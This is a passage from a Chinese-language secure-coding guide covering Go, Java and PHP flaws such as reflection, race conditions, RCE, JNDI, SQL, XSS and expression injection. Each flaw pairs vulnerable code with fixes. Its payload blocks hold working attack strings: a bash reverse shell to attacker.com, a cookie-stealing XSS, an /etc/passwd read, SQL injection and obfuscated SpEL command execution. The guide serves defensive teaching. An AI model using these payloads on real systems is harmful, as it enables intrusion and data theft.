**代码片段**：
```go
// 文件：src/utils/reflect.go
package utils

import (
    "reflect"
)

// ❌ 危险：不安全的反射使用
func ProcessData(data interface{}) {
    v := reflect.ValueOf(data)
    // 未检查值的有效性
    if v.Kind() == reflect.Ptr {
        // 未检查指针是否为nil
        v = v.Elem()
    }
    // 直接访问字段，未检查字段是否存在
    field := v.FieldByName("Secret")
    // 未检查字段是否可导出
    secretValue := field.String()
    // 处理secretValue...
}
```

**攻击Payload**：
```go
// 传递nil指针导致崩溃
ProcessData(nil)

// 传递不包含Secret字段的结构体导致崩溃
type User struct {
    Name string
}
ProcessData(&User{Name: "test"})
```

**修复建议**：
```go
// ✅ 安全：安全的反射使用
func ProcessData(data interface{}) {
    if data == nil {
        return // 处理nil情况
    }
    
    v := reflect.ValueOf(data)
    if v.Kind() == reflect.Ptr {
        if v.IsNil() {
            return // 处理nil指针
        }
        v = v.Elem()
    }
    
    field := v.FieldByName("Secret")
    if !field.IsValid() || !field.CanInterface() {
        return // 处理字段不存在或不可访问的情况
    }
    
    secretValue, ok := field.Interface().(string)
    if !ok {
        return // 处理类型断言失败的情况
    }
    
    // 处理secretValue...
}
```

### 2. 不安全的并发操作

**漏洞原理**：
Go语言的并发特性非常强大，但如果不正确使用，可能导致竞态条件、死锁、活锁等问题。这些问题可能导致程序行为异常、数据损坏、甚至安全漏洞。

**危害**：
- 数据竞争导致数据损坏
- 死锁导致程序挂起
- 活锁导致程序资源耗尽
- 潜在的安全漏洞（如条件竞争导致的权限绕过）

**代码片段**：
```go
// 文件：src/utils/cache.go
package utils

import (
    "sync"
    "time"
)

// ❌ 危险：不安全的并发操作
type Cache struct {
    data map[string]string
    // 缺少互斥锁
}

func NewCache() *Cache {
    return &Cache{
        data: make(map[string]string),
    }
}

func (c *Cache) Set(key, value string) {
    c.data[key] = value
}

func (c *Cache) Get(key string) string {
    return c.data[key]
}

// 并发使用示例
func main() {
    cache := NewCache()
    
    // 启动多个goroutine并发访问缓存
    for i := 0; i < 1000; i++ {
        go func(i int) {
            key := fmt.Sprintf("key%d", i)
            cache.Set(key, fmt.Sprintf("value%d", i))
            fmt.Println(cache.Get(key))
        }(i)
    }
    
    time.Sleep(time.Second)
}
```

**攻击Payload**：
```go
// 并发访问可能导致数据竞争
// 运行时使用-race标志可以检测到
// go run -race main.go
```

**修复建议**：
```go
// ✅ 安全：使用互斥锁保护并发访问
type Cache struct {
    data map[string]string
    mu   sync.RWMutex // 读写互斥锁
}

func NewCache() *Cache {
    return &Cache{
        data: make(map[string]string),
    }
}

func (c *Cache) Set(key, value string) {
    c.mu.Lock()
    defer c.mu.Unlock()
    c.data[key] = value
}

func (c *Cache) Get(key string) string {
    c.mu.RLock()
    defer c.mu.RUnlock()
    return c.data[key]
}
```

### 3. 不安全的HTTP处理

**漏洞原理**：
Go语言的net/http包提供了强大的HTTP服务器和客户端功能，但如果使用不当，可能导致安全漏洞，如HTTP请求走私、响应拆分、CORS配置错误等。

**危害**：
- HTTP请求走私攻击
- 响应拆分攻击
- CORS配置错误导致的跨域攻击
- 缺少安全头部导致的安全问题

**代码片段**：
```go
// 文件：src/api/server.go
package api

import (
    "net/http"
)

// ❌ 危险：不安全的HTTP处理
func Handler(w http.ResponseWriter, r *http.Request) {
    // 直接使用用户输入作为响应头
    userAgent := r.Header.Get("User-Agent")
    w.Header().Set("X-User-Agent", userAgent)
    
    // 直接使用用户输入作为重定向目标
    redirectURL := r.URL.Query().Get("redirect")
    if redirectURL != "" {
        http.Redirect(w, r, redirectURL, http.StatusFound)
        return
    }
    
    // 缺少CORS安全配置
    w.Header().Set("Access-Control-Allow-Origin", "*")
    w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
    w.Header().Set("Access-Control-Allow-Headers", "*")
    
    w.WriteHeader(http.StatusOK)
    w.Write([]byte("Hello, World!"))
}
```

**攻击Payload**：
```bash
# 响应拆分攻击
curl -H "User-Agent: foo\r\nContent-Length: 0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 15\r\n\r\n<h1>XSS</h1>" "http://example.com"

# 开放重定向攻击
curl "http://example.com?redirect=http://attacker.com"

# CORS攻击（利用通配符允许所有来源）
# 攻击者网站可以发送请求到目标网站并读取响应
```

**修复建议**：
```go
// ✅ 安全：安全的HTTP处理
func Handler(w http.ResponseWriter, r *http.Request) {
    // 验证并清理用户输入
    userAgent := r.Header.Get("User-Agent")
    // 清理userAgent，确保不包含换行符等特殊字符
    // ...
    w.Header().Set("X-User-Agent", userAgent)
    
    // 验证重定向URL
    redirectURL := r.URL.Query().Get("redirect")
    if redirectURL != "" {
        // 验证重定向URL是否在允许的域名列表中
        if isAllowedRedirect(redirectURL) {
            http.Redirect(w, r, redirectURL, http.StatusFound)
            return
        }
    }
    
    // 安全的CORS配置
    allowedOrigins := []string{"https://example.com", "https://api.example.com"}
    origin := r.Header.Get("Origin")
    if isAllowedOrigin(origin, allowedOrigins) {
        w.Header().Set("Access-Control-Allow-Origin", origin)
        w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
        w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
        w.Header().Set("Access-Control-Allow-Credentials", "true")
    }
    
    // 添加安全头部
    w.Header().Set("X-Content-Type-Options", "nosniff")
    w.Header().Set("X-Frame-Options", "DENY")
    w.Header().Set("X-XSS-Protection", "1; mode=block")
    w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
    
    w.WriteHeader(http.StatusOK)
    w.Write([]byte("Hello, World!"))
}

func isAllowedRedirect(url string) bool {
    // 实现重定向URL验证逻辑
    // ...
    return false
}

func isAllowedOrigin(origin string, allowedOrigins []string) bool {
    // 实现CORS来源验证逻辑
    // ...
    return false
}
```

## 13. Fortify规则补充（Java相关）

### 1. Java不安全的随机性

**漏洞原理**：
使用不安全的随机数生成器可能导致密码、会话令牌等敏感数据可预测，从而被攻击者破解。Java中常见的不安全随机数生成方法包括`java.util.Random`，它生成的随机数是基于种子的，种子可预测时，生成的随机数序列也可预测。

**危害**：
- 密码可预测
- 会话令牌可预测
- 加密密钥可预测
- 安全协议被破坏

**代码片段**：
```java
// 文件：src/main/java/com/example/PasswordGenerator.java
import java.util.Random;

public class PasswordGenerator {
    // ❌ 危险：使用不安全的随机数生成器
    public String generatePassword(int length) {
        String chars = [REDACTED_SECRET];
        StringBuilder password = new StringBuilder(length);
        Random random = new Random(); // 不安全的随机数生成器
        
        for (int i = 0; i < length; i++) {
            int index = random.nextInt(chars.length());
            password.append(chars.charAt(index));
        }
        
        return password.toString();
    }
}
```

**修复建议**：
```java
// ✅ 安全：使用安全的随机数生成器
import java.security.SecureRandom;

public class PasswordGenerator {
    public String generatePassword(int length) {
        String chars = [REDACTED_SECRET];
        StringBuilder password = new StringBuilder(length);
        SecureRandom random = new SecureRandom(); // 安全的随机数生成器
        
        for (int i = 0; i < length; i++) {
            int index = random.nextInt(chars.length());
            password.append(chars.charAt(index));
        }
        
        return password.toString();
    }
}
```

### 2. Java不安全的反射

**漏洞原理**：
反射机制允许Java程序在运行时检查和操作类、方法、字段等。如果反射操作不当，可能导致安全漏洞，如绕过访问控制、执行任意代码等。

**危害**：
- 绕过访问控制
- 执行任意代码
- 信息泄露
- 拒绝服务攻击

**代码片段**：
```java
// 文件：src/main/java/com/example/ReflectionUtil.java
import java.lang.reflect.Method;

public class ReflectionUtil {
    // ❌ 危险：不安全的反射使用
    public static Object invokeMethod(String className, String methodName, Object... args) throws Exception {
        Class<?> clazz = Class.forName(className);
        Method method = clazz.getMethod(methodName, String.class);
        // 未检查方法访问修饰符
        method.setAccessible(true); // 绕过访问控制
        return method.invoke(null, args);
    }
}
```

**攻击Payload**：
```bash
# 调用危险方法
curl "http://example.com/reflect?className=java.lang.Runtime&methodName=exec&args=calc"
```

**修复建议**：
```java
// ✅ 安全：使用反射白名单
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;

public class ReflectionUtil {
    // 白名单：允许反射的类和方法
    private static final Set<String> ALLOWED_CLASSES = new HashSet<>();
    private static final Set<String> ALLOWED_METHODS = new HashSet<>();
    
    static {
        ALLOWED_CLASSES.add("com.example.User");
        ALLOWED_CLASSES.add("com.example.Product");
        ALLOWED_METHODS.add("getUserInfo");
        ALLOWED_METHODS.add("getProductInfo");
    }
    
    public static Object invokeMethod(String className, String methodName, Object... args) throws Exception {
        // 验证类是否在白名单中
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new SecurityException("Class not allowed");
        }
        
        // 验证方法是否在白名单中
        if (!ALLOWED_METHODS.contains(methodName)) {
            throw new SecurityException("Method not allowed");
        }
        
        Class<?> clazz = Class.forName(className);
        Method method = clazz.getMethod(methodName, String.class);
        // 不使用setAccessible(true)，尊重访问控制
        return method.invoke(null, args);
    }
}
```

## 14. Hello-Java-Sec规则补充（Java相关）

### 1. Java命令执行（RCE）

**漏洞原理**：
Java应用程序中使用`Runtime.getRuntime().exec()`等方法执行系统命令时，如果命令参数可控，可能导致远程代码执行。

**危害**：
- 执行任意系统命令
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

**代码片段**：
```java
// 文件：src/main/java/com/best/hello/controller/RCE/RuntimeVul.java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/vulnapi/RCE/Runtime")
public class RuntimeVul {
    // ❌ 危险：直接执行用户输入的命令
    @RequestMapping("/vul")
    public static String vul(String cmd) {
        StringBuilder sb = new StringBuilder();
        String line;

        try {
            Process proc = Runtime.getRuntime().exec(cmd);

            // 读取命令的输出
            InputStream inputStream = proc.getInputStream();
            InputStreamReader isr = new InputStreamReader(inputStream);
            BufferedReader br = new BufferedReader(isr);
            while ((line = br.readLine()) != null) {
                sb.append(line);
            }

        } catch (IOException e) {
            e.printStackTrace();
        }
        return sb.toString();
    }
}
```

**攻击Payload**：
```bash
# 执行系统命令
curl "http://127.0.0.1:8888/vulnapi/RCE/Runtime/vul?cmd=id"

# 读取敏感文件
curl "http://127.0.0.1:8888/vulnapi/RCE/Runtime/vul?cmd=cat%20/etc/passwd"

# 反向Shell
curl "http://127.0.0.1:8888/vulnapi/RCE/Runtime/vul?cmd=bash%20-i%20%3E%26%20/dev/tcp/attacker.com/4444%200%3E%261"
```

**修复建议**：
```java
// ✅ 安全：使用命令白名单
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashSet;
import java.util.Set;

@RestController
@RequestMapping("/vulnapi/RCE/Runtime")
public class RuntimeVul {
    // 定义命令白名单
    private static final Set<String> ALLOWED_COMMANDS = new HashSet<>();
    
    static {
        ALLOWED_COMMANDS.add("ls");
        ALLOWED_COMMANDS.add("pwd");
    }
    
    @RequestMapping("/safe")
    public static String safe(String cmd) {
        StringBuilder sb = new StringBuilder();
        String line;

        // 检查用户提供的命令是否在白名单中
        String command = cmd.split("\\s+")[0];
        if (!ALLOWED_COMMANDS.contains(command)) {
            return "Command not allowed";
        }

        try {
            Process proc = Runtime.getRuntime().exec(cmd);

            InputStream inputStream = proc.getInputStream();
            InputStreamReader isr = new InputStreamReader(inputStream);
            BufferedReader br = new BufferedReader(isr);
            while ((line = br.readLine()) != null) {
                sb.append(line);
            }

        } catch (IOException e) {
            e.printStackTrace();
        }
        return sb.toString();
    }
}
```

### 2. Java JNDI注入

**漏洞原理**：
JNDI（Java Naming and Directory Interface）注入是一种常见的Java安全漏洞，当`javax.naming.Context.lookup()`方法的参数可控时，攻击者可以通过构造恶意的JNDI名称来执行任意代码。

**危害**：
- 远程代码执行
- 服务器控制权
- 数据泄露
- 持久化攻击

**代码片段**：
```java
// 文件：src/main/java/com/best/hello/controller/JNDI/JNDIInject.java
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.naming.Context;
import javax.naming.InitialContext;

@RestController
@RequestMapping("/vulnapi/JNDI")
public class JNDIInject {
    // ❌ 危险：直接使用用户输入作为JNDI lookup参数
    @GetMapping("/vul")
    public String vul(String content) {
        try {
            Context ctx = new InitialContext();
            ctx.lookup(content);
        } catch (Exception e) {
            // 处理异常
        }
        return "JNDI注入";
    }
}
```

**攻击Payload**：
```bash
# 使用JNDI注入工具生成恶意RMI/LDAP服务
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1

# 执行JNDI注入
curl "http://127.0.0.1:8888/vulnapi/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi"
```

**修复建议**：
```java
// ✅ 安全：使用白名单限制JNDI名称
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Arrays;
import java.util.List;

@RestController
@RequestMapping("/vulnapi/JNDI")
public class JNDIInject {
    @GetMapping("/safe")
    public String safe(String content) {
        // 白名单：允许的JNDI名称
        List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");
        
        if (whiteList.contains(content)) {
            try {
                Context ctx = new InitialContext();
                ctx.lookup(content);
            } catch (Exception e) {
                // 处理异常
            }
            return content;
        } else {
            return "JNDI name not allowed";
        }
    }
}
```

### 3. Java SQL注入（JDBC）

**漏洞原理**：
JDBC语句拼接是最常见的SQL注入漏洞形式，当用户输入直接拼接到SQL语句中时，可能导致SQL注入攻击。

**危害**：
- 未授权访问数据库数据
- 获取敏感信息（如用户密码、信用卡信息等）
- 修改数据库数据
- 执行数据库管理员操作
- 绕过认证
- 执行服务器端命令（在某些配置下）

**代码片段**：
```java
// 文件：src/main/java/com/best/hello/controller/SQLI/JDBC.java
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;

@RestController
@RequestMapping("/vulnapi/sqli/jdbc")
public class JDBC {
    // ❌ 危险：直接拼接SQL语句
    @GetMapping("/vul1")
    public String vul1(String id) {
        StringBuilder result = new StringBuilder();
        String sql = "select * from users where id = '" + id + "'";

        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
            Statement stmt = conn.createStatement();
            ResultSet rs = stmt.executeQuery(sql);

            while (rs.next()) {
                String res_name = rs.getString("user");
                String res_pass = rs.getString("pass");
                result.append(String.format("查询结果 %s: %s", res_name, res_pass));
            }

            rs.close();
            stmt.close();
            conn.close();
            return result.toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
}
```

**攻击Payload**：
```bash
# 报错注入获取数据库用户
curl "http://127.0.0.1:8888/vulnapi/sqli/jdbc/vul1?id=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--%20+"

# 联合查询获取所有用户
curl "http://127.0.0.1:8888/vulnapi/sqli/jdbc/vul1?id=1' union select user, pass from users--%20+"

# 布尔盲注
curl "http://127.0.0.1:8888/vulnapi/sqli/jdbc/vul1?id=1' and substr((SELECT user()),1,1)='r'--%20+"
```

**修复建议**：
```java
// ✅ 安全：使用预编译语句
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;

@RestController
@RequestMapping("/vulnapi/sqli/jdbc")
public class JDBC {
    @GetMapping("/safe")
    public String safe(String id) {
        StringBuilder result = new StringBuilder();
        String sql = "select * from users where id = ?";

        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
            PreparedStatement st = conn.prepareStatement(sql);
            st.setString(1, id);
            ResultSet rs = st.executeQuery();

            while (rs.next()) {
                String res_name = rs.getString("user");
                String res_pass = rs.getString("pass");
                result.append(String.format("查询结果 %s: %s", res_name, res_pass));
            }

            rs.close();
            st.close();
            conn.close();
            return result.toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
}
```

### 4. Java XSS（跨站脚本）

**漏洞原理**：
XSS漏洞是由于应用程序对用户输入的内容没有进行适当的过滤和转义，导致攻击者可以在用户浏览器中执行恶意JavaScript代码。

**危害**：
- 会话劫持：窃取用户的cookie和会话ID
- 数据窃取：窃取用户输入的敏感信息
- 钓鱼攻击：在网页中插入伪造的登录表单
- 网页篡改：修改网页内容，传播恶意信息
- 键盘记录：记录用户的键盘输入

**代码片段**：
```java
// 文件：src/main/java/com/best/hello/controller/XSS/XSS.java
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;

@RestController
@RequestMapping("/vulnapi/XSS")
public class XSS {
    // ❌ 危险：直接返回用户输入内容
    @GetMapping("/reflect")
    public String xssReflect1(String content) {
        return content;
    }
    
    // ❌ 危险：使用HttpServletResponse输出用户输入内容
    @GetMapping("/reflect2")
    public void xssReflect2(String content, HttpServletResponse response) {
        try {
            response.getWriter().println(content);
            response.getWriter().flush();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    // ❌ 危险：存储型XSS
    @PostMapping("/save")
    public String save(HttpServletRequest request, HttpSession session) {
        String content = request.getParameter("content");
        // 直接存储用户输入
        xssMapper.add(user, content, date);
        return "success";
    }
}
```

**攻击Payload**：
```bash
# 基本反射型XSS
curl "http://127.0.0.1:8888/vulnapi/XSS/reflect?content=<script>alert('XSS')</script>"

# 会话劫持
curl "http://127.0.0.1:8888/vulnapi/XSS/reflect?content=<script>var img=new Image();img.src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"

# 存储型XSS
curl -X POST "http://127.0.0.1:8888/vulnapi/XSS/save" -d "content=<script>alert('Stored XSS')</script>"
```

**修复建议**：
```java
// ✅ 安全：使用HTML转义
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.util.HtmlUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;

@RestController
@RequestMapping("/vulnapi/XSS")
public class XSS {
    // ✅ 安全：使用HTML转义
    @GetMapping("/safe")
    public String safe(String content) {
        return HtmlUtils.htmlEscape(content);
    }
    
    // ✅ 安全：使用HTML转义并设置内容类型
    @GetMapping("/safe2")
    public void safe2(String content, HttpServletResponse response) {
        try {
            // 设置内容类型为纯文本
            response.setContentType("text/plain;charset=utf-8");
            response.getWriter().println(HtmlUtils.htmlEscape(content));
            response.getWriter().flush();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    // ✅ 安全：存储型XSS防护
    @PostMapping("/safeSave")
    public String safeSave(HttpServletRequest request, HttpSession session) {
        String content = request.getParameter("content");
        // 存储前进行HTML转义
        String safeContent = HtmlUtils.htmlEscape(content);
        xssMapper.add(user, safeContent, date);
        return "success";
    }
}
```

### 5. Java表达式注入漏洞

**漏洞原理**：
Java表达式注入漏洞主要是由于应用程序使用了SpEL（Spring Expression Language）、JEXL（Apache Commons JEXL）等表达式引擎，并且未对用户输入的表达式进行严格验证，导致攻击者可以构造恶意表达式执行任意代码。

**危害**：
- 远程代码执行
- 服务器控制权
- 数据泄露
- 信息收集
- 绕过安全限制

**代码片段**：
```java
// ❌ 危险：SpEL表达式注入
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class SpelVul {
    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {
        ExpressionParser expressionParser = new SpelExpressionParser();
        Expression expression = expressionParser.parseExpression(spel);
        Object object = expression.getValue();
        return object.toString();
    }
}

// ❌ 危险：JEXL表达式注入
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class JexlVul {
    @RequestMapping("/jexl")
    public String jexl(@RequestParam(name = "expr") String expr) {
        JexlEngine jexl = new JexlBuilder().create();
        JexlExpression jexlExpression = jexl.createExpression(expr);
        Object result = jexlExpression.evaluate(null);
        return result.toString();
    }
}

// ❌ 危险：MVEL表达式注入
import org.mvel2.MVEL;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class MvelVul {
    @RequestMapping("/mvel")
    public String mvel(@RequestParam(name = "expr") String expr) {
        Object result = MVEL.eval(expr);
        return result.toString();
    }
}

// ❌ 危险：OGNL表达式注入
import ognl.Ognl;
import ognl.OgnlContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class OgnlVul {
    @RequestMapping("/ognl")
    public String ognl(@RequestParam(name = "expr") String expr) {
        try {
            OgnlContext context = new OgnlContext();
            Object result = Ognl.getValue(expr, context, context.getRoot());
            return result.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

// ❌ 危险：Fel表达式注入
import com.greenpineyu.fel.FelEngine;
import com.greenpineyu.fel.FelEngineImpl;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class FelVul {
    @RequestMapping("/fel")
    public String fel(@RequestParam(name = "expr") String expr) {
        FelEngine engine = new FelEngineImpl();
        Object result = engine.eval(expr);
        return result.toString();
    }
}
```

**攻击Payload**：
```bash
# SpEL表达式执行系统命令
curl "http://example.com/spel?spel=T(java.lang.Runtime).getRuntime().exec('whoami')"

# SpEL表达式使用ProcessBuilder
curl "http://example.com/spel?spel=new%20ProcessBuilder('whoami').start()"

# SpEL表达式反射绕过过滤
curl "http://example.com/spel?spel=#{'\'.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec','\'.getClass()).invoke('\'.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}"

# JEXL表达式执行系统命令
curl "http://example.com/jexl?expr=Runtime.getRuntime().exec('whoami')"

# MVEL表达式执行系统命令
curl "http://example.com/mvel?expr=new%20java.lang.ProcessBuilder(%27whoami%27).start()"

# MVEL表达式使用Runtime
curl "http://example.com/mvel?expr=java.lang.Runtime.getRuntime().exec(%27whoami%27)"

# OGNL表达式执行系统命令
curl "http://example.com/ognl?expr=@java.lang.Runtime@getRuntime().exec(%27whoami%27)"

# OGNL表达式使用ProcessBuilder
curl "http://example.com/ognl?expr=new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27}).start()"

# Fel表达式执行系统命令（Fel默认限制较多，可能需要特殊环境）
curl "http://example.com/fel?expr=java.lang.Runtime.getRuntime().exec('whoami')"
```

**修复建议**：
```java
// ✅ 安全：使用SimpleEvaluationContext（SpEL）
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class SpelSafe {
    @RequestMapping("/spel/safe")
    public String spelSafe(@RequestParam(name = "spel") String spel) {
        ExpressionParser expressionParser = new SpelExpressionParser();
        // 使用SimpleEvaluationContext，限制表达式功能
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression expression = expressionParser.parseExpression(spel);
        Object object = expression.getValue(context);
        return object.toString();
    }
}

// ✅ 安全：MVEL表达式白名单
import org.mvel2.MVEL;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashSet;
import java.util.Set;

@RestController
public class MvelSafe {
    // 白名单：允许的表达式模式
    private static final Set<String> ALLOWED_PATTERNS = new HashSet<>();
    
    static {
        ALLOWED_PATTERNS.add("[0-9]+([+\-*/][0-9]+)*");
        ALLOWED_PATTERNS.add("[a-zA-Z_][a-zA-Z0-9_]*\.[a-zA-Z_][a-zA-Z0-9_]*");
    }
    
    @RequestMapping("/mvel/safe")
    public String mvelSafe(@RequestParam(name = "expr") String expr) {
        // 验证表达式是否在白名单中
        boolean isAllowed = false;
        for (String pattern : ALLOWED_PATTERNS) {
            if (expr.matches(pattern)) {
                isAllowed = true;
                break;
            }
        }
        
        if (isAllowed) {
            Object result = MVEL.eval(expr);
            return result.toString();
        } else {
            return "Expression not allowed";
        }
    }
}

// ✅ 安全：OGNL表达式白名单
import ognl.Ognl;
import ognl.OgnlContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashSet;
import java.util.Set;

@RestController
public class OgnlSafe {
    // 白名单：允许的表达式模式
    private static final Set<String> ALLOWED_PATTERNS = new HashSet<>();
    
    static {
        ALLOWED_PATTERNS.add("#root\..*");
        ALLOWED_PATTERNS.add("#this\..*");
    }
    
    @RequestMapping("/ognl/safe")
    public String ognlSafe(@RequestParam(name = "expr") String expr) {
        // 验证表达式是否在白名单中
        boolean isAllowed = false;
        for (String pattern : ALLOWED_PATTERNS) {
            if (expr.matches(pattern)) {
                isAllowed = true;
                break;
            }
        }
        
        if (isAllowed) {
            try {
                OgnlContext context = new OgnlContext();
                Object result = Ognl.getValue(expr, context, context.getRoot());
                return result.toString();
            } catch (Exception e) {
                return e.getMessage();
            }
        } else {
            return "Expression not allowed";
        }
    }
}

// ✅ 安全：Fel表达式安全配置
import com.greenpineyu.fel.FelEngine;
import com.greenpineyu.fel.FelEngineImpl;
import com.greenpineyu.fel.context.FelContext;
import com.greenpineyu.fel.context.MapContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class FelSafe {
    @RequestMapping("/fel/safe")
    public String felSafe(@RequestParam(name = "expr") String expr) {
        FelEngine engine = new FelEngineImpl();
        FelContext context = new MapContext();
        
        // 只暴露安全的变量和方法
        context.set("Math", Math.class);
        
        // 验证表达式（简单的白名单检查）
        if (expr.matches("[0-9a-zA-Z_\.\+\-\*/\(\) ]+")) {
            Object result = engine.eval(expr, context);
            return result.toString();
        } else {
            return "Expression not allowed";
        }
    }
}

// ✅ 安全：通用表达式白名单验证
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashSet;
import java.util.Set;

@RestController
public class ExpressionSafe {
    // 白名单：允许的表达式模式
    private static final Set<String> ALLOWED_PATTERNS = new HashSet<>();
    
    static {
        ALLOWED_PATTERNS.add("#root.*");
        ALLOWED_PATTERNS.add("T(java.lang.Math).*");
        ALLOWED_PATTERNS.add("[0-9]+([+\-*/][0-9]+)*");
    }
    
    @RequestMapping("/expression/safe")
    public String expressionSafe(@RequestParam(name = "expr") String expr) {
        // 验证表达式是否在白名单中
        boolean isAllowed = false;
        for (String pattern : ALLOWED_PATTERNS) {
            if (expr.matches(pattern)) {
                isAllowed = true;
                break;
            }
        }
        
        if (isAllowed) {
            // 执行表达式
            // ...
            return "Expression executed safely";
        } else {
            return "Expression not allowed";
        }
    }
}
```

## 15. PHP-Audit-Labs规则补充（PHP相关）

### 1. PHP in_array() 不安全使用

**漏洞原理**：
in_array()函数未设置第三个参数为true时，会进行弱类型比较，导致攻击者可以通过构造的参数绕过验证。例如，当数组包含数字时，字符串"7shell.php"会被强制转换为数字7，从而绕过range(1,24)的检查。

**危害**：
- 任意文件上传漏洞
- SQL注入漏洞
- 未授权访问
- 数据泄露

**代码片段**：
```php
// ❌ 危险：in_array() 未使用严格模式
$id = $_GET['id'];
$whitelist = range(1, 24);

if (in_array($id, $whitelist)) {
    // 执行敏感操作
    $sql = "SELECT * FROM users WHERE id=$id";
    // 执行SQL查询
}
```

**攻击Payload**：
```bash
# SQL注入攻击
curl "http://example.com/vuln.php?id=1' OR 1=1 --"

# 文件上传绕过
# 文件名：7shell.php
# 会被转换为数字7，绕过range(1,24)检查
```

**修复建议**：
```php
// ✅ 安全：使用in_array()严格模式
$id = $_GET['id'];
$whitelist = range(1, 24);

if (in_array($id, $whitelist, true)) {
    // 执行敏感操作
    // 使用预处理语句防止SQL注入
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
    $stmt->execute([$id]);
}
```

### 2. PHP filter_var() XSS绕过

**漏洞原理**：
filter_var()函数使用FILTER_VALIDATE_URL过滤器时，无法有效防止JavaScript伪协议注入。攻击者可以使用`javascript://comment%0aalert(1)`这样的payload绕过验证，其中%0a是换行符，使alert语句与注释不在同一行。

**危害**：
- 跨站脚本攻击
- 会话劫持
- 数据窃取
- 钓鱼攻击

**代码片段**：
```php
// ❌ 危险：filter_var() 无法防止JavaScript伪协议
$url = $_GET['url'];

if (filter_var($url, FILTER_VALIDATE_URL)) {
    echo "<a href='$url'>点击访问</a>";
}
```

**攻击Payload**：
```bash
# XSS攻击
